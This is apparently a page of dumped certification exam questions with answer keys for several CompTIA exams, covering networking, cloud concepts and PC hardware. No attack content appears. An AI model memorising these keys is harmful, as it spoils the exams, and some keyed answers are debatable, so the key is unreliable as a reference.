Answer: C

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NO.14 Which of the following are examples of interactive communication?
Each correct answer represents a complete solution. Choose all that apply.
A. Video Conferencing
B. E-mail
C. Fax
D. Phone call
Answer: AD

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NO.15 Andrewis working for a television station in NorthAmerica and South America. What video standardis
more possibly be used with the video stored in the archives of these stations?
A. PAL
B. NTSC
C. SECAM
D. IEEE 1394
Answer: B

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NO.16 Which of the following layers of the OSI model managescommunication between
communicationentities in a network?
A. Presentation
B. Network
C. Transport
D. Session
E. Application
Answer: D

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NO.17 H.323 is a group of protocols defined by the International Telecommunication Union for multimedia
conferences over Local Area Networks. H.323 uses ASN.1 binary code. Which of the following layers of
the OSI model is responsible for translating, processing, and reading ASN.1 and ASCII messages?
A. Transport layer
B. Application layer
C. Physical layer
D. Presentation layer
Answer: D

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NO.18 Which of the following statements are true about session hijacking?
Each correct answer represents a complete solution. Choose all that apply.
A. Use of a long random number or string as the session key reduces session hijacking.
B. It is used to slow the working of victim's network resources.
C. TCP session hijacking is when a hacker takes over a TCP session between two machines.
D. It is the exploitation of a valid computer session to gain unauthorized access to information or services
in a computer system.
Answer: ACD

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NO.19 Which of the following is an audio data compression algorithm for voice that compresses digital voice
in packets of 10 milliseconds duration?
A. G.711
B. H.320
C. H.323
D. G.729
Answer: D

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NO.20 Rick, an administrator of a TCP/IP network, wants to achieve the following goals: l Reduce congestion
of network traffic. l Optimize the utilization of the IP address space.
Which of the following technologies may help him to accomplish the task?
A. Pinging
B. Supernetting
C. Routing
D. Subnetting
Answer: D

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Code d'Examen: CLO-001
Nom d'Examen: CompTIA (CompTIA Cloud Essentials Exam)
Questions et réponses: 182 Q&As

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NO.1 Which of the following technologies are related to Web services?
A. HTML, IDM, JSON
B. HTML, IDM, XML
C. HTML, JSON, XML
D. DM, JSON, XML
Answer: C

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NO.2 Cloud computing _____________capital cost to variable cost.
A. increases
B. reduces
C. shifts
D. equates
Answer: C

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NO.3 How can an organization successfully implement a SaaS strategy?
A. Manage the risks associated with bringing in external providers
B. Continuously execute performance analytics to monitor providers
C. Open up internal databases with Web service access for easier access
D. Standardize on a limited set of virtual machines to increase security
Answer: A

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NO.4 Web hosting is a service that enables customers to deploy a website quickly. This is an example of:
A. IaaS.
B. SaaS
C. PaaS.
D. On-demand software.
E. None of the above.
Answer: C

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NO.5 Which of the following IT processes is likely to become more important due to the adoption of cloud
computing?
A. Capacity management
B. Troubleshooting management
C. Project management
D. Request fulfillment management
Answer: A

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NO.6 Which of the following does IT outsourcing and cloud computing typically have in common?
A. Pay as you go agreements
B. Short-term financial commitment
C. Tailor-made applications based on client needs
D. Vendor lock-in potential
Answer: D

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NO.7 Which of the following is the function of orchestration services?
A. Assemble functional requirements for application development
B. Configure application clusters with Web services
C. Enable and disable load balancers
D. Manage the starting and stopping of application server clusters
Answer: D

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NO.8 Which of the following actions should a company take if a cloud computing provider ceases to uphold
their contract?
A. Consult the company's exit plan.
B. Move the company data to the backup provider that was selected earlier.
C. Re-host all critical applications on the company's internal servers.
D. Evaluate the company's strategic options for an alternative provider
Answer: A

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NO.9 Which of the following are essential steps to take when creating a virtual server?
A. Select a machine image to run, select an application set to run, select security credentials.
B. Select a machine image to run, select an application set to run, select the size of the virtual machine.
C. Select a machine image to run, select security credentials, select the size of the virtual machine.
D. Select an application set to run, select security credentials, select the size of the virtual machine.
Answer: C

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NO.10 Which of the following is a typical concern for business and IT leaders when adopting cloud
computing?
A. Current cost structure of IT
B. Quality of web-based user interfaces
C. Security of current IT solutions
D. Technical maintenance of current IT assets
Answer: C

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NO.11 Privacy is the right of________ to selectively disclose information about _________ and restrict the
further use of that information by any party.
A. companies, others
B. companies, themselves
C. individuals, others
D. individuals, themselves
Answer: D

CompTIA   CLO-001   CLO-001

NO.12 Why is it important to consider the cloud ecosystem when developing applications.?
A. Cloud providers will do application development.
B. The development process needs to change.
C. The role of the IT department will change.
D. This can speed up the development process.
Answer: D

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NO.13 Digital identities for logging onto SaaS solutions should be issued by all the following EXCEPT:
A. A third-party identity provider.
B. The customer organization.
C. The SaaS provider.
D. A user.
Answer: D

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NO.14 Which of the following is the primary way to access PaaS?
A. Web services
B. Websites
C. Web hosting providers
D. Data integrations
Answer: A

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NO.15 Which of the following is important to standardize?
A. Information standards and applications
B. User names and hardware providers
C. Virtual machine images and applications
D. Virtual machine images and identity information standards
Answer: D

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NO.16 Which of the following is the MOST important service management consequence of elastic capacity?
A. The need for better application development
B. The need for better security management
C. The need for good performance monitoring and management
D. The need to improve the fulfillment and provisioning process
Answer: C

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NO.17 Which of the following does the server virtualization layer do?
A. It allows the underling physical server hardware to be shared
B. It allows the virtual machines to be dependent on each other
C. It allows the virtual machines to be load balanced
D. It prohibits the use of virtual machines by unauthorized users
Answer: A

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NO.18 Which of the following is a reason for business users lo be interested in cloud computing?
A. Desire for vendor lock-in reduction
B. Desire for improved security
C. Desire for improved user experience
D. Desire for reducing compliance issues
Answer: C

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NO.19 Which of the following is an important new skill for an IT organization to develop in the context of cloud
computing?
A. Provisioning services
B. Incident management
C. Technology upgrade monitoring
D. Security and risk management
Answer: A

CompTIA   certification CLO-001   CLO-001

NO.20 Which of the following consequences does IT outsourcing and cloud computing have in common?
A. Involvement of external staff
B. Improved flexibility
C. Reduced expense
D. Shorter time to market
Answer: A

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Code d'Examen: JK0-801
Nom d'Examen: CompTIA (CompTIA A+ Certification Exam (JK0-801))
Questions et réponses: 266 Q&As

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NO.1 Which of the following cable types has the MAXIMUM transfer rate of 1 Gbps?
A. CAT3
B. CAT5
C. CAT5e
D. CAT6
Answer: C

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NO.2 A client wants to take their old VCR tapes and put them on a DVD. Which of the following
expansion cards would need to be installed in a computer to perform this task?
A. TV tuner
B. Video graphics
C. Sound
D. Video capture
Answer: D

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NO.3 The helpdesk technician has been tasked to reinstall the OS on a desktop and has already
inserted the OS install disk in the CD-ROM. Which of the following would MOST likely need to be
configured within the BIOS to continue reinstalling the OS?
A. BIOS password
B. Flash BIOS for firmware upgrade
C. Boot sequence
D. Clock speeds
Answer: C

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NO.4 Which of the following memory features allows for the protection against random
inconsistencies
in the transfer of the data?
A. Low latency
B. Dual channel
C. ECC
D. Single channel
Answer: C

CompTIA examen   certification JK0-801   JK0-801

NO.5 Which of the following BEST describes the function of DHCP?
A. Blocks MAC address with security violations
B. Translates IP addresses to names
C. Encrypts data traffic on a network
D. Assigns IP addresses on a network
Answer: D

CompTIA   JK0-801   JK0-801 examen

NO.6 Which of the following computer components are located on the Northbridge? (Select TWO).
A. Hard drive
B. CPU
C. Fan
D. RAM
E. Audio
Answer: B,D

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NO.7 Which of the following socket types is for an Intel CPU?
A. F
B. 940
C. AM3
D. 1156
Answer: D

CompTIA examen   JK0-801   JK0-801

NO.8 Besides the CPU, which of the following components might have their own heatsink?
A. Audio card
B. RAID controller
C. Graphics card
D. Hard drive
Answer: C

CompTIA   JK0-801   JK0-801 examen

NO.9 A client wants to store video and music in one central location and stream it to multiple
devices.
Which of the following would BEST fill this need?
A. Home theater
B. Virtualization workstation
C. Home server
D. Gaming
Answer: C

CompTIA examen   certification JK0-801   JK0-801

NO.10 Which of the following can be used to change fan speeds?
A. Device manager
B. BIOS
C. Power options
D. Action center
Answer: B

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